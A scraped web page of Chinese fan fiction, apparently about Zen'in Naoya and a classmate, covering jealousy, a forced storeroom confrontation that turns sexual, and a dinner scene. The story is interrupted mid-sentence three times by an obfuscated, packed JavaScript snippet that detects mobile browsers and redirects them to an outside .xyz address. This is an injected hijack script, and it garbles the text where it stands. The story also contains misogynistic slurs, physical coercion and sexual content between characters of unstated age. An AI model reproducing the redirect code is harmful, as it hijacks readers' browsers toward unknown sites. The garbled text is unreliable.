“啊……抱歉。”早川宫野嘴上说着道歉的话,却突然自顾自的打了个哈欠,毫无歉意的直起身,看了一眼自己左侧的座位,随意道:“那个旁系呢?” “借口出去了。”直哉扯起嘴角,唇边是恶劣的笑:“他最后可是眼中含泪的喊了你好几声呢,早、川、大、人。” 大获全胜的直哉心情不错,最后还加重着模仿旁系的样子,喊了早川宫野的名字。 要知道放在以往的任何一个时候,他早就咒骂着贱女人了。 不过刚才他进教室时,早川宫野的表情的确还算得上合格。 尽管依然是那种非常不适上下扫视的眼神,但那时的直哉满脑子只深陷于与旁系争斗的快感中。 虽然不适,但直哉还是忍下来了。 尤其还是只动动嘴皮子的功夫,就将旁系堵的脸色发青,最终狼狈逃离这个结局,让直哉有一种丛林中成功夺回自己领地里,那种最原始的爽感。 但很快直哉就高兴不起来了。 因为他发现,就算他穿着和旁系昨天一样颜色的衣服,在旁系不再缠着她的情况下———早川宫野今天依然是一副懒散随性、不太愿意和他沟通的状态。 就好像进门看见他的那一刻,早川宫野的瞳孔只是非常短暂的亮了一下,但非常快速的、在都还不到三分钟热度的时间下,迅速对他失去了兴趣。 又回到了,他问一句,早川宫野回一句的局面。 “哈……”,听见对方模仿着喊她名字的早川轻笑一声:“说的是呢,突然分了一下心。” 直哉:“……” 又是这种。 又是这种敷衍的口吻,只是客套性的回答着他。 不再像之前那样主动的找话题,就连他主动开口,换来的都只是一两句敷衍的话语。 禅院直哉冷着脸,脸上面无表情。 他很想问“你到底怎么回事?”“到底是什么意思?”这种类似的话语。 但理性告诉他,绝对不可以问。 这种话语看似充满威胁压迫性,但其实是一种变相的责问对方“为什么突然不理我了?”“为什么,不喜欢我了吗?” 看似高位,其实已经处在一段关系的最底层了。反而以早川的性格,还会被倒打一耙,戏谑的反问。 呵…… 禅院直哉几乎要冷笑出声。 疯了吗?这种恶心要呕吐的话语,他禅院直哉会对一个女人说? 还是一个满脑子只有黄色废料,蠢上天的女人。 只会玩一些下三滥招数的贱女人…… 禅院直哉转过身,重新坐在蒲团上,一如往常的把早川宫野的桌子当靠背,左边的胳膊都靠在她的桌面上。 而他的唇边,是势在必得、一切尽在他掌握之中,似笑非笑的笑意。 禅院直哉有十成的把握,早川宫野今天之内一定会来主动找他说话。 毕竟早川宫野本身就是一个喜欢故弄玄虚的女人啊……… 虽然不知道在闹什么脾气,不过女人这种东西,不能太惯着知道吧。 就是得给一个巴掌再给一个甜枣,才能把她们玩的团团转啊。 禅院直哉漫不经心的翻开漫画书,已经开始构思早川宫野放低姿态向他求和示弱的场景了。 任课教师走进教室准备开始授课时,早川宫野没有开口,直哉随意的翻开下一页。 旁系从外面回来时,早川宫野没有开口,直哉敲击着桌面,十分有耐心地一上一下的点着节奏。 问题讨论时,隔壁几个人又露出讨好的笑邀请他一起加入,直哉上扬了扬眼尾,同意了。侧过脸时余光看见早川宫野依然一个人默默的坐在座位上。她没有开口,只是撑着脑袋百无聊赖转着笔。 直哉讥笑一声,心想死女人到底是嘴硬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645394|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 问题讨论结束时,早川宫野不知道什么时候和旁系聊在一起了,她看着旁系低头笑了一下。禅院直哉皱了皱眉,但也没说什么,只是翻动漫画书的声音突然加重了力度。 后半节课快结束时,禅院直哉还能听见身后传来窸窸窣窣的声音,以及旁系恬不知耻压低声音喊着“姐姐”。 直哉黑着脸看着漫画,这一页却已经十五分钟没有翻动了。几秒后,寂静的空气中突然传来书脊大力磕在桌面的声音,众人一齐看向发声源,直哉面无表情的哦了一声,毫无诚意的冷冷说了一个抱歉。 一直到下课时,任教老师和同学纷纷相互道别的离开。 禅院直哉还坐在座位上。 从始至终,早川宫野就好像没有看见他一样,依然像往常一样露出毫无瑕疵友善的笑容,与周围的同学告别。 甚至最后告别的是那个该死的旁系。 从始至终——— 从头到尾——— 明明有一万个可以和他说话的机会,可是早川宫野宁愿百无聊赖的干坐在桌子上,都不愿意问一句“直哉君,要和我一起吗?” …… 为什么? 为什么不再像之前那样朝他露出甜腻的微笑,询问要不要和她一起? 就算他一开始会不屑的拒绝,但其实只要在早川死皮赖脸的软磨硬泡下,他还是会勉为其难答应的吧? 明明她是知道的吧,明明他几乎很少拒绝早川宫野的请求的吧? 但是为什么……? 难道早川真的——喜欢上那个旁系了……? 禅院直哉定定的看着桌面,毫无察觉手里的漫画已经被他紧紧揉成一团,黑白色的印刷的纸张被手心的冷汗晕染成一团。 皱皱巴巴的纸张发出咔嚓咔嚓的声音,紧攥的手却在轻轻颤抖。 身后的早川宫野毫无察觉,她已经收完最后一支笔了,站起身。 像是陌生人一样,毫无留恋的抱起手里的书,一阵微风后,从直哉的身侧越过了他。 直哉:“……” 禅院直哉不敢抬头。 非常奇怪的,他突然不敢去看教室外,那空荡荡的走廊,或是早川宫野最后一抹离开的背影。 他只是死死的、心脏像被一只大手牢牢抓住一样,用力的攥着漫画。 “直哉君?” 什么熟悉的声音毫无征兆的响起,那只紧紧抓住他心脏的手突然松开,禅院直哉的心脏猛地漏了一拍。 他瞳孔骤缩,错愕的抬起头。 早川宫野站在门口,像是走了一半又折返回。她露出关切的神情,像是在察觉他无碍后,放松的无奈叹了一口气,微笑道:“没什么,那么,明天见” 她说着,转过身正准备再度离开。那一瞬间,禅院直哉再也忍不住。 恼怒、憎恶、嫉恨……以及一系列几乎要将他的大脑压到爆炸的“为什么”,都像是积压已久的情绪在找到一个突破口后,在这一瞬间都如同潮水一样朝他袭来。 禅院直哉推开面前的桌子,猛地抓住她的手腕,强硬的推开杂物室的门。 他阴沉着脸,眼尾发红,胸口因呼吸剧烈起伏着。琥珀色的瞳孔却暗到快要融为黑色。 ———他一定要问清楚,究竟一切到底为什么… 早川宫野这个……得寸进尺的贱女人! 24.第二十四章 杂物室的光线很昏暗。 各种堆放着歪歪扭扭的木椅,交错的堆积在一起。空气中漂浮着陈旧木材的味道,带着几丝潮湿。 她被强硬的拉进储物间,眼前的视线昏暗一瞬,紧接着是禅院直哉背对着她,关上门的背影。 “你就准备一直不和我说话嚒?” 禅院直哉几乎要与阴影融为一体,他缓慢的转过身,语气并没有多大起伏,但早川可以明显感受到对方身上的低气压。 与直哉身上不悦的情绪相反的是,早川宫野坐在窗台上神情自若的姿态。 与其说神情自若,倒不如说是一副漠然的表情。 平静的瞳孔,淡淡的嘴角,就仿佛只是身为一个旁观察,静静的看着由他主演的这场戏一样。 他的一切情绪就好像是一场无理取闹,像马戏团里供人观赏表演的猴子。 ……他一定要 ——杀死这个该死的贱女人! 禅院直哉危险的眯了眯琥珀色的瞳孔,发出烦躁的咂舌声后,大步迈向早川宫野。 他捏起早川的脸颊,迫使她与自己对视。钳住她脸颊的手很大力,禅院直哉原本也没想要温柔对待早川宫野。 “说话。” 他冷冷命令道,捏住脸颊两颚的手不断用力。几乎能听见指尖骨骼不断收缩的嘎嘎声。 禅院直哉想要看见早川脸上除了“漠然”外的一切表情。 为什么要这样看着他? 哪怕是发痛的落泪,哪怕是带着怒意打开他的手,对他发脾气。也会比现在早川宫野脸上的表情要好。 不要这种毫无情绪的脸看着他。 不要这种漠视的、没有一丝情绪的眼神注视着他。 “你哑巴了吗?” “为什么不说话?” “哈……刚才不是和那个崽种聊的很好吗?你们都说了什么?那天在纸上画的是他吗?” 这一刻的禅院直哉已经完全忘记刚才在上课前对自己说出的话了。 什么下位者,什么猎人,什么猎物,什么要把她玩的团团转…… 这一切都在早川宫野异常平静的、那双不再对他包含一丝笑意的褐色瞳孔中溃不成军。 一切的一切在这一刻就像被打开闸门的洪水一样,全部汇聚成一句话,那句他一直很想问的话——— “你喜欢上他了吗,早川宫野。” 禅院直哉说这句话的时候眉毛拧的很深。 他几乎是带着咬牙切齿的,从牙缝中挤出几节单词。同时说出这句话时,伴随着的是比先前更加加重力度的手。 早川:“……” 早川:“呵……” 手里的女人突然轻笑一声,那双褐色的瞳孔终于染上笑意,不再是冰冰的寒冷。 禅院直哉愣住。他不知道早川宫野在笑什么,只是听见她笑后一瞬间放松了些手指间的力度,但他很快回过神来,重新加重了力度,同时抵着下颚的手向后仰了仰。 就好像突然放松力度的手只是错觉而已。 “你笑什么。” “嗯?我刚才笑了吗?啊……好像是的呢,因为可爱到已经有些忍不住了。” 褐色的瞳孔闪烁着晦涩不明的笑意,早川宫野缓缓开口,同时不动声色搭上他的手,五指挤入他的指尖,与他十指相扣,压低了声音:“所以——刚才是在吃醋吗,直哉君。” 像蛇一样突然爬上手臂,缠上他指尖的手,强硬的分开他的五指,挤进去扣住。在手心与手背刚刚贴住的一瞬间,浑身几乎寒毛都在倒立。 不知道是被恶心到了还是什么,他紧紧咬着下唇内壁,同时快速抽回手。 “不是想让我说话吗?” 早川宫野坐在窗台上,翘着腿笑道:“现在开口说了,直哉君又不理人了。” “……闭嘴!” 禅院直哉瞪了她一眼,下垂的手被袖口遮挡住。明明自己才是居高临下看她的那一个,早川宫野坐在那里,却有一种上位者的姿态。 禅院直哉不喜欢这个视角,无论在何种关系,他都应该是主权、首位的身份。但此刻却又无法转身离开。 因为他一定要听见那个答案。 那个关于早川宫野最近到底为什么,以及是不是真的…… 这无疑是一种耻辱。 拿自己和一个卑贱的旁系相提并论,如果最终选择了一个样样都不如他的旁系,这不仅仅是直哉身为男人的耻辱,更是整个禅院的耻辱。 至于早川宫野说他吃醋了的话语…… 不可能。 是绝对不可能的吧? 是绝对绝对不可能,也绝对不存在的事的吧? 禅院直哉觉得这无关喜欢之间的情感,纯属只是因为自己身为男人的尊严。 所以他站在原地,只是静默的等待着她的回答。 以至于早川对他动手动脚,他都没有反抗。 因为他只是——迫切的想要知道那个最终答案而已。 杂物间里,早川宫野已经得寸进尺的伸手拉住他的袖口,仰起头露出闪烁的眼睛,一点一点把他拉近。 “怎么突然又沉默了。刚才不是一直逼问我要说些什么的吗?” 早川宫野摸上他手,继续做了一遍刚才未完成的动作——挤入他的手指,与他十指相扣。 直哉抽了一下,没抽开。 “啊……我想起来了,刚才直哉君问了很多为什么吧。直哉君想要先听哪一个?和那个男孩的事情吗?” 早川宫野站起身,每说一句话就缓缓向他逼近一步。偏偏早川一整句几句全是废话。 禅院直哉神色有些僵硬,早川宫野走的太近了,想要伸手推开却被对方扣在手心,只有右手是空余的。 但禅院直哉 ……他不想伸出手推开早川。 他也不知道自己是怎么了,心脏的跳动几乎要覆盖住他整个大脑的回响。只是眼神游离了一下,后背抵在墙壁上,明明是警告的话却格外的轻飘飘道:“…滚远些。” 早川宫野笑了笑,显然完全没听进去。反倒越发过分的伸出另一只手,手掌贴在他的脸颊上,大拇指轻轻摩挲了一下他的脸颊。 “真的吗?想要我离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657670|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?如果我走掉了,直哉君就永远听不见那个答案了哦?” 直哉:“……” 这个该死的……贱女人! 仿佛自己的一切心思和动作都被对方预判的完完全全,让他无法再有回旋的余地。 他的呼吸有些急促起来,扬起头移开眼不再看她,直到早川宫野的胸口贴上他的胸膛。 “直哉君的身体……好烫啊。” “…闭嘴!” 禅院直哉恶狠狠道,身体却依然没有拒绝,他呼吸了一下,平稳着气息:“赶紧回答我的问题,早川宫野,别耽误我时……呜……” 正常的话语说了一半,被禅院直哉呜咽的喘息声中断。 早川宫野正伸出手,从耳垂、脖颈一直向下。 禅院直哉脸色通红,死死咬着嘴唇,仰起头看着天花板完全不敢看她。 “嗯?什么。啊,你说旁系吗?” 早川宫野面色无常,像手里只是在做着什么再正常不过的事,从隔着布料伸入领口内:“直哉君居然会担心这种问题吗?明明之前我说的很清楚了吧,只会喜欢直哉君一个人。” 直到感受到早川宫野的手,直哉才真的意识到自己的身体好像真的很烫。他咬着唇,呼吸已经乱成一团了。 “你别……呜……” “如果现在停下来的话,我会立刻走掉的哦。” 混乱的呼吸间,早川宫野褐色幽暗的瞳孔,像是不愿错过他任何一个表情一样。 禅院直哉眼尾发红,眼神都有些迷离的看着她。从眉眼,一直向下移动,一直落在她嘴唇的位置。 很粉…也很小,看上去非常柔软的样子。 显然早川也注意到了他的视线,她伸手捏过禅院直哉的下颚,在上扬的嘴角中,不断放大…放大…… 禅院直哉的呼吸几乎停滞了一瞬,仅仅只是挑逗,也早已一塌糊涂。心脏的抨击几乎让他屏蔽了所有的声音,他闭上眼睛,索取般的张开口。 意料之中柔软的触感并没有来,直哉睁开眼,对上的是早川宫野似笑非笑的瞳孔。 在随着若有若无加重的力度后,指尖划过他,画圈,打转。 她越过他的眼神,凑到他耳边,语气柔和: “直哉君穿这件——很好看哦?” 话语响起的同时,禅院直哉突然紧抓住她的手,还没站稳脚跟,早川宫野突然抽离紧贴的身体,松开与他相扣的手。几乎毫无施力的,直哉身体一软,跪倒在地面上。 手掌撑在地面上,膝盖触碰在地面上很痛,但更加明显的,是禅院直哉轻颤的身躯,以及猛烈跳动的心脏。 早川宫野站在一旁,唇边依然是似笑非笑的表情。她先是静默的看了一会,转动脚尖,随后抱起放在窗台上整齐的书,推开杂物间的门。 “啊,对了。” 她拉开一半的门,回过头:“直哉君,明天晚上一起吃饭吧。” 咔——— 拉门重新拉上,只剩下昏暗光线里跪坐在地上的直哉。 他领口凌乱,脸颊绯红,像岸边的鱼一样,张开口小幅度喘息着。 25.第二十五章(加更) 禅院直哉只记得当时的他是直奔房门的。 回家的第一件事就是把整个脑袋埋在枕头里,两只手死死抓着枕头的两侧。侍女也不敢敲门,只是胆战心惊的在院内做自己的事。 他一直保持这个动作很久,久到怀疑是不是要把自己闷死。膝盖跪在床上,整个身躯都蜷缩在一起,头深深的埋在枕头里,像一只收起尾巴的狐狸。 禅院直哉就一直维持着那个动作很久,直到完全快喘不过气,才侧过脸,露出眼睛和半只还在发红的耳朵。 被闷在枕头里的瞳孔都变得有些湿漉漉起来,带着朦胧的雾气。 ——真的是…疯了 禅院直哉的脑子里还在想刚才和早川在杂物间发生的事情,下半张脸依然埋在柔软的枕头里。 她身体的柔软,有些用力却灵活的手指,那双带着笑意看着他的褐色瞳孔…… 以及对他说出的肯定的、再一次向他表明心意的告白。 “……疯子…” 直哉小声的咒骂,埋在枕头里的耳垂却很红。 虽然他很讨厌被女人这样直接触碰,最后在那样的情况下还…… 比起被触碰,他更喜欢去触碰女人,观察她们的神色和姿态。 不过这一次只是失误了而已,才让早川宫野勉强占了一点点上风。 虽然失态了一点,不过也算是变相的被早川宫野给伺候了吧。 让男人舒服,本身就是她们身为女人该做的。只不过是作为第一次才经历,所以面部表情控制的不是很好,下一次再强装的像一点就好了。 禅院直哉直起身,一连呼吸了好几次,才恢复如常。除了还有些发烫的耳垂,但已经不再发红了。 侍女这时敲门,简单的关心后,询问是否需要下人进来更换衣物。 禅院直哉已经平坐在床上,嗯了一声。 侍女低着头进来,双手搭在身上,一件一件细心的褪下。 直哉张开手站在原地,脑子里还在想明天外出的衣服。 蹲下身的侍女刚触碰到他腰间的纽带,直哉突然脸色一僵,伸手攥住,语气也有些僵硬:“可以了,都下去。” 侍女从未允许有质疑或询问的资格,她们松开手,双手捧起换下的衣物后关上了门。 等到客厅的门也被关上后,直哉才走进浴室,解开裤带。 浴室内,花洒大量喷出的水蒸气弥漫在整个房间,禅院直哉低头看着手中的衣物,视线停留在水渍上。 “……该死。” 他咒骂一声,快速合上衣物,也不管浴室的水还有没有关,打开洗漱台的水龙头,双手就开始冲洗。 沐浴完后,为了不让次日打扫的侍女发现,他又拿出吹风机对着湿漉漉的衣物,打开热风一顿猛吹。 一直到很晚,禅院直哉什么都没有做,光在沐浴和人工烘干衣物才睡下。 这个夜晚直哉睡的很好,因为他再一次清楚的知道,早川宫野依然还是热烈的渴求他的。 虽然很讨厌早川宫野,但是既然能在最终做出正确的选择,他可以稍微勉为其难对早川态度好那么一点点。 入睡前,禅院直哉这样想到。 * 次日,禅院直哉早早的便开始准备,沐浴、洗漱、搭配衣物。 中途抱怨了好几句“为什么我的衣服这么少?”“我没有别的了吗?”,以及对着镜子换了一件又一件,发出了一万次“啧”的咂舌声。 在晚间六点左右,禅院直哉准时出现在早川宫野的门口。 开门的是早川宫野,她依然穿着昨天的那件衣服,只不过大约是空调有些凉的缘故,披了一件外套。 还没等她开口,直哉已经从手里丢给她什么东西,语气轻快道:“喂,给你的。” 早川看着手里的东西。是一本封面非常精致的漫画书,准确来说应该是上次在直哉家,自己想看的那本漫画书。 “谢谢,话说今天直哉君——”她拉开门,上下扫视了一圈,笑道:“也很漂亮呢。” 走在前面的直哉并未接话,只是无声的弯了弯唇,在面对早川宫野时,又飞快的恢复。 早川宫野家的饭菜依然一如既往的难吃,和他院里的根本无法相比,禅院直哉犀利的点评了几句,不到五分钟后厨便端上了上好的佳肴。 “唔,好厉害。每一次直哉君过来,桌子上的饭菜都会变得更可口一些呢。” “哈……你也不看看巴结的人是谁,就算是当狗也得找个好主人吧。” 直哉本意是想告诉早川宫野只有巴结上他,一直喜欢他才有数不尽的甜头。但早川宫野只是一味的夹菜,小鸡崽一样哦哦哦的敷衍着点头。 一直到用餐结束,早川宫野才露出舒适的微笑,放下碗筷,说了一句:“我用好了”就准备起身。 “你去干什么?”直哉蹙起眉问道。 “画画。” “你把我叫过来,结果自己用好了就准备走了?” 早川宫野刚走下榻榻米,思索片刻,转过身看着他:“不然?我还剩下一点。” 禅院直哉不语,只是黑着脸看着她。 早川无奈,重新坐在榻榻米上:“嘛……我知道了。我等直哉君用完,再过去好了。” 直哉这才缓和了几分脸色,说是用饭,但像是在拖延时间一样,只是简单的放在盘中摆弄着。 过了好一会,他才漫不经心的开口:“你就没有什么话要和我说?” “说什么?” “是我在问你。” 早川宫野想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663696|170922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好一会,最终摊了摊手:“的确没有什么要说的,该说的昨天都已经说过了吧。” 直哉:“……啧。” 禅院直哉手里的筷子也不拿了,不悦的拍在桌上,向后靠坐着抬眸看着一脸无事的早川宫野。 怎么会没有东西要和他说? 明明有很多东西吧,比如为什么一个月前突然对她态度冷淡,比如他去东京那段时间过的怎么样,东京是什么样的场景?毕竟像早川宫野这种没见过世面的蠢女人,像东京这种大城市肯定没有去过的吧。亦或者是为什么那天突然很生气的把她丢进杂物间。 甚至还有更多细小的东西都可以问啊,比如问他喜欢什么,最喜欢的漫画书是什么,喜欢什么颜色,饮食方面最喜欢的是什么…… 不是喜欢他吗?对于喜欢的人明明就应该不断的想要更多的了解他,想要知道他的全部消息啊。 两面僵持不下,最终还是早川松口。她缓了一口气,妥协的点点头:“好吧,如果非要说的话…我还是能想出一两个问题想问的。” “你的内裤穿多大码的?” 直哉:“……” 空气中传来捏拳的声音。 “早、川、宫、野,你永远问我的话题只有围绕着情色展开吗?!” 他加重了喊她的名字,像是忍耐着烦躁一样。 上一次是问他还是不是处,这一次问他尺寸是多少,下一次是什么,问他喜欢用什么牌子的润滑液吗? “欸……真是小气呢直哉君。如果不告诉我的话,我会去问别人的哦?” 早川宫野走下榻榻米,背对着他拿起漫画书简单翻看了一下。 禅院直哉听见早川宫野这个回答都快笑出声了。 问别人?难道早川宫野身边还有谁愿意和她…… 讥讽的笑意停在嘴边,直哉突然笑不起来了。 上次是松下,这次是旁系那个崽种。 下一次会是谁? 早川宫野这个沾花惹草,水性杨花的贱女人……! 空气中只剩下早川宫野翻书的声音,过了好一会,才听见禅院直哉低沉隐忍的声音。 “3XL” 早川宫野抬起头,看向坐在榻榻米上假装喝茶的直哉身上。 像是担心早川宫野没有听清楚一样,他强压着羞耻,脸颊却有些发烫的又重复了一遍:“尺码是……3XL。” 啪的一声,早川宫野合上书,露出意味深长的语气词。 “欸———听起来很大呢~” “喂……!!” “嘛,我说的是内裤的大小啰。” 她扬了扬手中的漫画书,笑容友善的歪了歪头:“那直哉君要不要,和我一起看看?” “———在我的房间哦。”